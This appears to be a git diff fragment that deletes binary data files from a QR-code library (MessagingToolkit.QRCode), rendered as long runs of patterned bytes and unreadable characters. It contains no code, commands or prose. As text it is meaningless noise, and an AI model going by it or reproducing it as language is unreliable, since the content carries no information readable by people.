||{{zzyy%%&&''((LLKKJJIIUUVVWWXX@@AABBCCYYXXWWVVssrrqqppaabbccdda``__^^]@AABBCCD100//..-pqqrrsstqppoonnm01122334A@@??>>=xyyzz{{|//00112388776655iijjkkllxxwwvvuu))**++,,HHGGFFEEYYZZ[[\\DDEEFFGGUUTTSSRRoonnmmlleekkllmm]\\[[ZZYDEEFFGGH-,,++**)tuuvvwwxmllkkjji45566778=<<;;::9|}}~~4567788944332211mmnnooppttssrrqq--..//00DDCCBBAA]]^^__``~~}}||HHIIJJKKQQPONMLK kkeeddccnnooppqqYXXWWVVUHIIJJKKL)((''&&%xyyzz{{| - - ihhggffe899::;;<988776659::;;<<=00//..--qqrrssttppoonnmm11223344@@??>>==aabbccdd {{zzyyxxQQRRSSTTKJJIIHHG - - bbaa``__rrssttuu UTTSSRRQLMMNNOOP%$$##""!|}}~~ eddccbba<==>>??@54433221=>>??@@A,,++**))uuvvwwxxllkkjjii55667788<<;;::99eeffgghh - - wwvvuuttUUVVWWXXGFFEEDDC - - ^^]]\\[[vvwwxxyy !!""##$QPPOONNMPQQRRSST! a``__^^]@AABBCCD100//..-~~}}||{ABBCCDDE((''&&%%yyzz{{|| - - hhggffee99::;;<<88776655iijjkkllssrrqqppYYZZ[[\\CBBAA@@? ZZYYXXWWzz{{||}}$%%&&''(MLLKKJJITUUVVWWX]\\[[ZZYDEEFFGGH-,,++**){zzyyxxwEFFGGHHI$$##""!!}}~~ ddccbbaa==>>??@@44332211mmnnooppoonnmmll]]^^__``?>>==<<;VVUUTTSS~~())**++,IHHGGFFEXYYZZ[[\YXXWWVVUHIIJJKKL)((''&&%wvvuuttsIJJKKLMN ``__^^]]AABBCCDD00//..--qqrrssttkkeeddccaabbccdd;::99887RRQQKKJJ,--..//0EDDCCBBA\]]^^__` UTTSSRRQLMMNNOOP%$$##""!srrqqppoOPQQRRSS\\[[ZZYYEEFFGGHH,,++**))uuvvwwxxbbaa``__eekkllmm76543211IIHHGGFF01122334A@@??>>=`aabbccd ~~} !!""##$QPPOONNMPQQRRSST! onnmmllkTTUUVVWWXXWWVVUUIIJJKKLL((''&&%%yyzz{{|| - - ^^]]\\[[nnooppqq00//..-- EEDDCCBB~~}}|45566778=<<;;::9deeffggh - - }||{{zzy$%%&&''(MLLKKJJITUUVVWWXkeeddccbXXYYZZ[[ TTSSRRQQMMNNOOPP$$##""!!}}~~ ZZYYXXWWrrssttuu,,++**))!!""##$$AA@@??>>|{{zzyyx899::;;<98877665hiijjkkl yxxwwvvu())**++,IHHGGFFEXYYZZ[[\baa``__^\\]]^^__ ~~}}!!""##$$PPOONNMMQQRRSSTT VVUUTTSSvvwwxxyy((''&&%%%%&&''((==<<;;::xwwvvuut<==>>??@54433221lmmnnooputtssrrq,--..//0EDDCCBBA\]]^^__`^]]\\[[Z``aabbcc - - ||{{zzyy%%&&''((LLKKJJIIUUVVWWXXRRQQKKJJzz{{||}}$$##""!! \[[ZZYYXEFFGGHHI,++**))(uvvwwxxy lkkjjiihCDDEEFFGccbbaa``>>??@@AA33221100nnooppqqssrrqqpp..//0011CCBBAA@@^^__``aaBAA@@??>fgghhiij - - {zzyyxxw&''(())*KJJIIHHGVWWXXYYZ54433221XWWVVUUTIJJKKLLM(''&&%%$yzz{{||} - - hggffeedGHHIIJJK __^^]]\\BBCCDDEE//..--,,rrssttuuoonnmmll22334455??>>==<==<<;;:jkkllmmnwvvuutts*++,,--.GFFEEDDCZ[[\\]]^100//..- !TSSRRQQPMNNOOPPQ$##""!! }~~ dccbbaa`KQQRRSST - - [[ZZYYXXFFGGHHII++**))((vvwwxxyy kkjjiihh66778899;;::9988ffgghhii:9988776nooppqqrsrrqqppo.//00112CBBAA@@?^__``aab !!""#-,,++**)~~}}|!""##$$%POONNMMLQRRSSTTU `__^^]]\TUUVVWWX WWVVUUTTJJKKLLMM''&&%%$$zz{{||}} - - ggffeedd::;;<<==77665544jjkkllmm !!""##54321100rssttuuvonnmmllk23344556?>>==<<;bccddeef#$$%%&&')((''&&% -|{{zzyyx%&&''(()LKKJJIIHUVVWWXXY\[[ZZYYXXYYZZ[[\SSRRQQPPNNOOPPQQ##""!! ~~ccbbaa``>>??@@AA33221100nnooppqq$$%%&&''//..--,,vwwxxyyz -kjjiihhg6778899:;::99887fgghhiij'(())**+%$$##""! - xwwvvuut)**++,,-HGGFFEEDYZZ[[\\]XWWVVUUT\]]^^__`OONNMMLLRRSSTTUU__^^]]\\BBCCDDEE//..--,,rrssttuu(())**++++**))((z{{||}}~ - gffeeddc:;;<<==>76655443jkkllmmn+,,--../! tssrrqqp-..//001DCCBBAA@]^^__``a !TSSRRQQP`aabbccdKKJJIIHHVVWWXXYY[[ZZYYXXFFGGHHII++**))((vvwwxxyy,,--..//''&&%%$$~cbbaa``_>??@@AAB3221100/nooppqqr/0011778poonnmml12233445@??>>==>??@ - - hggffeed9::;;<<=87766554ijjkkllmxwwvvuut)**++,,-HGGFFEEDqrrssttu(())**++??>>==<>??@@WVVUUTTSJKKLLMMN'&&%%$$#z{{||}}~@AABBCCD dccbbaa`=>>??@@A43322110mnnooppqtssrrqqp-..//001DCCBBAA@uvvwwxxy,,--..//;;::9988ffgghhii - - {{zzyyxx&&''(())KKJJIIHHVVWWXXYYAABBCCDD !!"SRRQQPPONOOPPQQR#""!! ~DEEFFGGH - - `__^^]]\ABBCCDDE0//..--,qrrssttupoonnmml12233445@??>>==//..--,,rrssttuuoonnmmll22334455??>>==<>??@@A43322110~>??@@AAB++**))((vvwwxxyy kkjjiihh66778899;;::9988ffgghhii - - vvuuttssVVWWXXYYsrrqqppo.//00112CBBAA@@?^__``aab{zzyyxxwYZZ[[\\]!""##$$%POONNMMLQRRSSTTU `__^^]]\ABBCCDDE0//..--,~}}||{{zBCCDDEEF''&&%%$$zz{{||}} - - ggffeedd::;;<<==77665544jjkkllmmrrqqppooZZ[[\\]]onnmmllk23344556?>>==<<;bccddeef wvvuutts]^^__``a%&&''(()LKKJJIIHUVVWWXXY\[[ZZYYXEFFGGHHI,++**))(zyyxxwwvFGGHHIIJ##""!! ~~ccbbaa``>>??@@AA33221100nnooppqqnnmmllkk^^__``aa -kjjiihhg6778899:;::99887fgghhiij - - srrqqppoabbccdde )**++,,-HGGFFEEDYZZ[[\\]XWWVVUUTIJJKKLLM(''&&%%$vuuttssrJKKLMNOP__^^]]\\BBCCDDEE//..--,,rrssttuueeddccbbbbccddee - gffeeddc:;;<<==>76655443jkkllmmnonnmmllkekkllmmn !!""##$-..//001DCCBBAA@]^^__``a !TSSRRQQPMNNOOPPQ$##""!! rqqppoonQQRRSSTT[[ZZYYXXFFGGHHII++**))((vvwwxxyy aa``__^^kkllmmnncbbaa``_>??@@AAB3221100/nooppqqrkeeddccbnooppqqr$%%&&''(12233445@??>>==>??@@A43322110mnnooppqtssrrqqp-..//001DCCBBAA@]^^__``a]\\[[ZZYaabbccdd - - {{zzyyxx&&''(())KKJJIIHHVVWWXXYYQQKKJJII{{||}}~~ !!"SRRQQPPONOOPPQQR#""!! ~VUUTTSSR}||{{zzy45566778ABBCCDDE0//..--,qrrssttupoonnmml12233445@??>>==>??@IJJKKLLM(''&&%%$yzz{{||} - - hggffeed9::;;<<=87766554ijjkkllmQKKJJIIHoppqqrrsoonnmmll22334455??>>==<>==*++,,--.GFFEEDDCZ[[\\]]^EDDCCBBAqppoonnm@AABBCCDMNNOOPPQ$##""!! }~~ dccbbaa`=>>??@@A43322110mnnooppqHGGFFEEDsttuuvvw kkjjiihh66778899;;::9988ffgghhii - - {{zzyyxx&&''(())<<;;::99~~}}||{.//00112CBBAA@@?^__``aab !!"A@@??>>=mllkkjjiDEEFFGGHQRRSSTTU `__^^]]\ABBCCDDE0//..--,qrrssttu DCCBBAA@wxxyyzz{ - - ggffeedd::;;<<==77665544jjkkllmmwwvvuutt**++,,--88771100{zzyyxxw23344556?>>==<<;bccddeef ~~}}||{"##$$%%&=<<;;::9ihhggffeHIIJJKKLUVVWWXXY\[[ZZYYXEFFGGHHI,++**))(uvvwwxxy - - @??>>==<{||}}~~ccbbaa``>>??@@AA33221100nnooppqqssrrqqpp..//0011//..--,,wvvuutts6778899:;::99887fgghhiij - - {zzyyxxw&''(())*98877110eddccbbaLMMNNOOPYZZ[[\\]XWWVVUUTIJJKKLLM(''&&%%$yzz{{||} <;;::998__^^]]\\BBCCDDEE//..--,,rrssttuuoonnmmll22334455++**))((srrqqppo:;;<<==>76655443jkkllmmnwvvuutts*++,,--.0//..--,a``__^^]PQQRRSST]^^__``a !TSSRRQQPMNNOOPPQ$##""!! }~~8771100/[[ZZYYXXFFGGHHII++**))((vvwwxxyy kkjjiihh66778899''&&%%$$onnmmllk>??@@AAB3221100/nooppqqrsrrqqppo.//00112,++**))(]\\[[ZZYTUUVVWWXabbccdde ~~}}|!""##$$%POONNMMLQRRSSTTU /..--,,+WWVVUUTTJJKKLLMM''&&%%$$zz{{||}} - - ggffeedd::;;<<==##""!! kjihgfeeBCCDDEEF/..--,,+rssttuuvonnmmllk23344556(''&&%%$YXXWWVVUXYYZZ[[\effgghhi - - |{{zzyyx%&&''(()LKKJJIIHUVVWWXXY !!"+**))((' !!SSRRQQPPNNOOPPQQ##""!! ~~ccbbaa``>>??@@AAddccbbaaFGGHHIIJ+**))(('vwwxxyyz -kjjiihhg6778899:$##""!! UTTSSRRQ\]]^^__`ijjkkllmxwwvvuut)**++,,-HGGFFEEDYZZ[[\\]"##$$%%&'&&%%$$#~~}}||""##$$%%OONNMMLLRRSSTTUU__^^]]\\BBCCDDEE``__^^]]JKKLLMMN'&&%%$$#z{{||}}~ - gffeeddc:;;<<==> QPPOONNM`aabbccdmnnooppqtssrrqqp-..//001DCCBBAA@]^^__``a&''(())*#""!! {{zzyyxx&&''(())KKJJIIHHVVWWXXYY[[ZZYYXXFFGGHHII\\[[ZZYYNOOPPQQR#""!! ~cbbaa``_>??@@AABMLLKKJJIdeeffgghqrrssttupoonnmml12233445@??>>==>==<>=pqqrrsst}~~ dccbbaa`=>>??@@A43322110mnnooppqtssrrqqp;<<==>>? -kkjjiihh66778899;;::9988ffgghhii - - {{zzyyxx&&''(())KKJJIIHHVVWWXXYY - -JIIHHGGF^__``aab !!"SRRQQPPONOOPPQQR - =<<;;::9tuuvvwwx`__^^]]\ABBCCDDE0//..--,qrrssttupoonnmml?@@AABBC - ggffeedd::;;<<==77665544jjkkllmmwwvvuutt**++,,--GGFFEEDDZZ[[\\]] FEEDDCCBbccddeef ~~}}||{"##$$%%&ONNMMLLKRSSTTUUV98877665xyyzz{{||}}fpvbHAZ|dtZHAbJtArdnXv`bHAbnvpے`JXbtlfpvrXQJ`AJltbے`JtArfHfbdQZ|H~fr˂ptArdnXv`JltvpfXQr˂nXv`p˂rbdQZ|`JXQ|ZdQf~HZp˂fHQr˂pJtArdnXv`bHAbdQZ|JXQrZdQbtpvndrtA`vXnZHAb|ZdQbf~HbdQZ|H~fpZHAbf~HXQJ`ےdrtArZAbbtlfpvrXQJ`f`vXZHAb|ZdQf~HZp˂dtAp`JXlJtArXQJ`Jltvpfے`JXQtlJfpvdrtA`vXnے`JfpvbHAZJltے`JJtArdnXv`bHAnvpے`JXbtlfpvrXQJ`JltQr˂prd|ےHAZbdQZ|H~fr˂ptArdnXv`JltvpfXQr˂nXv`p˂rbd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`ےtbdvpfH˂p`Zf۝`vtbAdZbHAZpvpfH`JXQlJtfpvQJ`ےtbZHAbQbtlvnXdQZ|~f`˂pZrd|Xv`fltbvpfH`JXQrlJtAJ`p˂tbdQvXnAbے`v`fbHAZpQZ|d~f`QXb㉀Xnvˍ|dr˂rX~f`r˂pArd|nXv`˙bHAZpnvp`JXQJtArdv`pvdrtAJvXnHAbےZdQbtHfpdQZ|~f`˂pZrd|rXQJZ|dvpfHJXQr~HfprXQrtAJlvXnۑpJAHrpfH~QtJlt6666666666666667777777777777777777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_0.dat deleted file mode 100644 index 0449f38..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_0.dat +++ /dev/null @@ -1,281 +0,0 @@ -}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopklklklklijijijijhghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSPOPOOOOOMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?>=>=>=>=>;<;<;<;<9:9:9:9:}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopklklklklijijijijhghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopklklklklijijijiihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSRQOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopoponmnmnmnklklklkliiiijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVURQRQRQRQOPOPOPOPMNMNMNMNMNMNMNMLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:78787878}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVURQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>=>=>=>=<;<;<;<;<9:9:9:9:78765656}~}~}~}~}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVURQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<9:9:987856555556}~}~}~}~}|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOOOOOOMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijiiihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;:7878787856565656}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkliiijijijhghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|{zyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565555}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJIJIJIJIHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787855656565}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOOOOOOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzyxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijiiiihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkliijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHGHGHGHGFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865655555}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxwvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOOOOOOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFEFEFEFEDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklkljijiiiiihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvuvuvuvuvststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvutstststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCDABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856555555}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDCDCDCDCBABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOOOOOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststststststqrqrqrqropopopopmnmnmnmnklklklklijijijijhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststsrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijiiiiiihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklkjijjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865656565}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnijijiiiihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787865555556}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnijijijijhghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQOPOOOOOPMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqpopopopopopopopmnmnmnmlijijijijhghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQPOPOOPOPOPONMNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656565656565643434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!          - - - -5656565643434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - -5656565643434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!             - - - 